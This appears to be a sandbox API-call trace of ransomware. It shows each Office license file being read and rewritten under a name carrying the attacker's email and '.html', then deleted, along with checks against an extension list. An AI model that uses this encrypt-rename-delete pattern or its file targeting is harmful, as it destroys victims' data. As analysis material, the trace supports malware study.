	[0196.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0196.729] GetLastError () returned 0x0
	[0196.729] ReadFile (in: hFile=0x460, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x2bcf, lpOverlapped=0x0) returned 1
	[0197.093] WriteFile (in: hFile=0x554, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x2bd0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x2bd0, lpOverlapped=0x0) returned 1
	[0197.094] ReadFile (in: hFile=0x460, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0197.094] WriteFile (in: hFile=0x554, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x126, lpOverlapped=0x0) returned 1
	[0197.095] SetEndOfFile (hFile=0x554) returned 1
	[0197.109] CloseHandle (hObject=0x554) returned 1
	[0197.116] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.116] SetEndOfFile (hFile=0x460) returned 1
	[0197.432] CloseHandle (hObject=0x460) returned 1
	[0197.432] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0197.433] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms")) returned 1
	[0197.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0197.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0197.435] lstrlenW (lpString=".doc") returned 4
	[0197.435] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0197.435] lstrlenW (lpString=".docx") returned 5
	[0197.435] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0197.435] lstrlenW (lpString=".pdf") returned 4
	[0197.435] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0197.435] lstrlenW (lpString=".xls") returned 4
	[0197.435] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0197.435] lstrlenW (lpString=".xlsx") returned 5
	[0197.435] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0197.435] lstrlenW (lpString=".ppt") returned 4
	[0197.435] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0197.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0197.435] lstrlenW (lpString=".zip") returned 4
	[0197.435] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0197.435] lstrlenW (lpString=".rar") returned 4
	[0197.435] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0197.435] lstrlenW (lpString=".bz2") returned 4
	[0197.435] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0197.435] lstrlenW (lpString=".7z") returned 3
	[0197.435] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0197.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0197.435] lstrlenW (lpString=".dbf") returned 4
	[0197.435] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0197.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0197.436] lstrlenW (lpString=".1cd") returned 4
	[0197.436] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0197.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0197.436] lstrlenW (lpString=".jpg") returned 4
	[0197.436] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0197.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0197.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0197.436] lstrlenW (lpString=".doc") returned 4
	[0197.436] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0197.436] lstrlenW (lpString=".docx") returned 5
	[0197.436] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0197.436] lstrlenW (lpString=".pdf") returned 4
	[0197.436] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0197.436] lstrlenW (lpString=".xls") returned 4
	[0197.436] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0197.436] lstrlenW (lpString=".xlsx") returned 5
	[0197.436] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0197.436] lstrlenW (lpString=".ppt") returned 4
	[0197.437] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0197.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0197.437] lstrlenW (lpString=".zip") returned 4
	[0197.437] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0197.437] lstrlenW (lpString=".rar") returned 4
	[0197.437] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0197.437] lstrlenW (lpString=".bz2") returned 4
	[0197.437] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0197.437] lstrlenW (lpString=".7z") returned 3
	[0197.437] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0197.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0197.437] lstrlenW (lpString=".dbf") returned 4
	[0197.437] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0197.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0197.437] lstrlenW (lpString=".1cd") returned 4
	[0197.437] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0197.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91
	[0197.437] lstrlenW (lpString=".jpg") returned 4
	[0197.437] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0197.437] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0197.437] lstrlenW (lpString="HomeStudentR_Retail-pl.xrm-ms") returned 29
	[0197.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0197.462] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=10651) returned 1
	[0197.462] CloseHandle (hObject=0x460) returned 1
	[0197.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms")) returned 0x220
	[0197.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0197.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0197.463] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.463] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0197.711] GetLastError () returned 0x0
	[0197.711] ReadFile (in: hFile=0x460, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x299b, lpOverlapped=0x0) returned 1
	[0197.713] WriteFile (in: hFile=0x538, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x29a0, lpOverlapped=0x0) returned 1
	[0197.715] ReadFile (in: hFile=0x460, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0197.715] WriteFile (in: hFile=0x538, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x10e, lpOverlapped=0x0) returned 1
	[0197.715] SetEndOfFile (hFile=0x538) returned 1
	[0197.715] CloseHandle (hObject=0x538) returned 1
	[0197.715] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.715] SetEndOfFile (hFile=0x460) returned 1
	[0197.718] CloseHandle (hObject=0x460) returned 1
	[0197.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0197.718] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms")) returned 1
	[0197.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79
	[0197.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79
	[0197.719] lstrlenW (lpString=".doc") returned 4
	[0197.719] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0197.719] lstrlenW (lpString=".docx") returned 5
	[0197.719] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0197.719] lstrlenW (lpString=".pdf") returned 4
	[0197.720] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0197.720] lstrlenW (lpString=".xls") returned 4
	[0197.720] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0197.720] lstrlenW (lpString=".xlsx") returned 5
	[0197.720] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0197.720] lstrlenW (lpString=".ppt") returned 4
	[0197.720] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0197.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79
	[0197.720] lstrlenW (lpString=".zip") returned 4
	[0197.720] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0197.720] lstrlenW (lpString=".rar") returned 4
	[0197.720] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0197.720] lstrlenW (lpString=".bz2") returned 4
	[0197.720] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0197.720] lstrlenW (lpString=".7z") returned 3
	[0197.720] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0197.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79
	[0197.720] lstrlenW (lpString=".dbf") returned 4
	[0197.720] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0197.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79
	[0197.720] lstrlenW (lpString=".1cd") returned 4
	[0197.720] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0197.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79
	[0197.720] lstrlenW (lpString=".jpg") returned 4
	[0197.720] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0197.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79
	[0197.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79
	[0197.720] lstrlenW (lpString=".doc") returned 4
	[0197.720] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0197.720] lstrlenW (lpString=".docx") returned 5
	[0197.720] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0197.721] lstrlenW (lpString=".pdf") returned 4
	[0197.721] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0197.721] lstrlenW (lpString=".xls") returned 4
	[0197.721] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0197.721] lstrlenW (lpString=".xlsx") returned 5
	[0197.721] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0197.721] lstrlenW (lpString=".ppt") returned 4
	[0197.721] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0197.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79
	[0197.721] lstrlenW (lpString=".zip") returned 4
	[0197.721] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0197.721] lstrlenW (lpString=".rar") returned 4
	[0197.721] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0197.721] lstrlenW (lpString=".bz2") returned 4
	[0197.721] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0197.721] lstrlenW (lpString=".7z") returned 3
	[0197.721] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0197.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79
	[0197.721] lstrlenW (lpString=".dbf") returned 4
	[0197.721] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0197.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79
	[0197.721] lstrlenW (lpString=".1cd") returned 4
	[0197.721] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0197.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79
	[0197.721] lstrlenW (lpString=".jpg") returned 4
	[0197.721] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0197.721] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0197.721] lstrlenW (lpString="HomeStudentR_Trial2-ppd.xrm-ms") returned 30
	[0197.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0197.722] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=21728) returned 1
	[0197.722] CloseHandle (hObject=0x460) returned 1
	[0197.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms")) returned 0x220
	[0197.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0197.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0197.723] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.723] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0197.724] GetLastError () returned 0x0
	[0197.724] ReadFile (in: hFile=0x460, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x54e0, lpOverlapped=0x0) returned 1
	[0197.729] WriteFile (in: hFile=0x538, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x54f0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x54f0, lpOverlapped=0x0) returned 1
	[0197.732] ReadFile (in: hFile=0x460, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0197.732] WriteFile (in: hFile=0x538, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x110, lpOverlapped=0x0) returned 1
	[0197.732] SetEndOfFile (hFile=0x538) returned 1
	[0197.732] CloseHandle (hObject=0x538) returned 1
	[0197.732] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.733] SetEndOfFile (hFile=0x460) returned 1
	[0197.736] CloseHandle (hObject=0x460) returned 1
	[0197.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0197.736] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms")) returned 1
	[0197.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80
	[0197.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80
	[0197.737] lstrlenW (lpString=".doc") returned 4
	[0197.737] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0197.737] lstrlenW (lpString=".docx") returned 5
	[0197.737] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0197.738] lstrlenW (lpString=".pdf") returned 4
	[0197.738] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0197.738] lstrlenW (lpString=".xls") returned 4
	[0197.738] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0197.738] lstrlenW (lpString=".xlsx") returned 5
	[0197.738] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0197.738] lstrlenW (lpString=".ppt") returned 4
	[0197.738] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0197.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80
	[0197.738] lstrlenW (lpString=".zip") returned 4
	[0197.738] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0197.738] lstrlenW (lpString=".rar") returned 4
	[0197.738] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0197.738] lstrlenW (lpString=".bz2") returned 4
	[0197.738] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0197.738] lstrlenW (lpString=".7z") returned 3
	[0197.738] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0197.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80
	[0197.738] lstrlenW (lpString=".dbf") returned 4
	[0197.738] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0197.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80
	[0197.738] lstrlenW (lpString=".1cd") returned 4
	[0197.738] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0197.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80
	[0197.738] lstrlenW (lpString=".jpg") returned 4
	[0197.738] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0197.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80
	[0197.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80
	[0197.738] lstrlenW (lpString=".doc") returned 4
	[0197.739] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0197.739] lstrlenW (lpString=".docx") returned 5
	[0197.739] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0197.739] lstrlenW (lpString=".pdf") returned 4
	[0197.739] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0197.739] lstrlenW (lpString=".xls") returned 4
	[0197.739] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0197.739] lstrlenW (lpString=".xlsx") returned 5
	[0197.739] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0197.739] lstrlenW (lpString=".ppt") returned 4
	[0197.739] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0197.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80
	[0197.739] lstrlenW (lpString=".zip") returned 4
	[0197.739] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0197.739] lstrlenW (lpString=".rar") returned 4
	[0197.739] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0197.739] lstrlenW (lpString=".bz2") returned 4
	[0197.739] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0197.739] lstrlenW (lpString=".7z") returned 3
	[0197.739] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0197.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80
	[0197.740] lstrlenW (lpString=".dbf") returned 4
	[0197.740] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0197.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80
	[0197.740] lstrlenW (lpString=".1cd") returned 4
	[0197.740] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0197.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80
	[0197.740] lstrlenW (lpString=".jpg") returned 4
	[0197.740] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0197.740] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0197.740] lstrlenW (lpString="HomeStudentR_Trial2-ul-oob.xrm-ms") returned 33
	[0197.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0197.741] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=11620) returned 1
	[0197.742] CloseHandle (hObject=0x460) returned 1
	[0197.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms")) returned 0x220
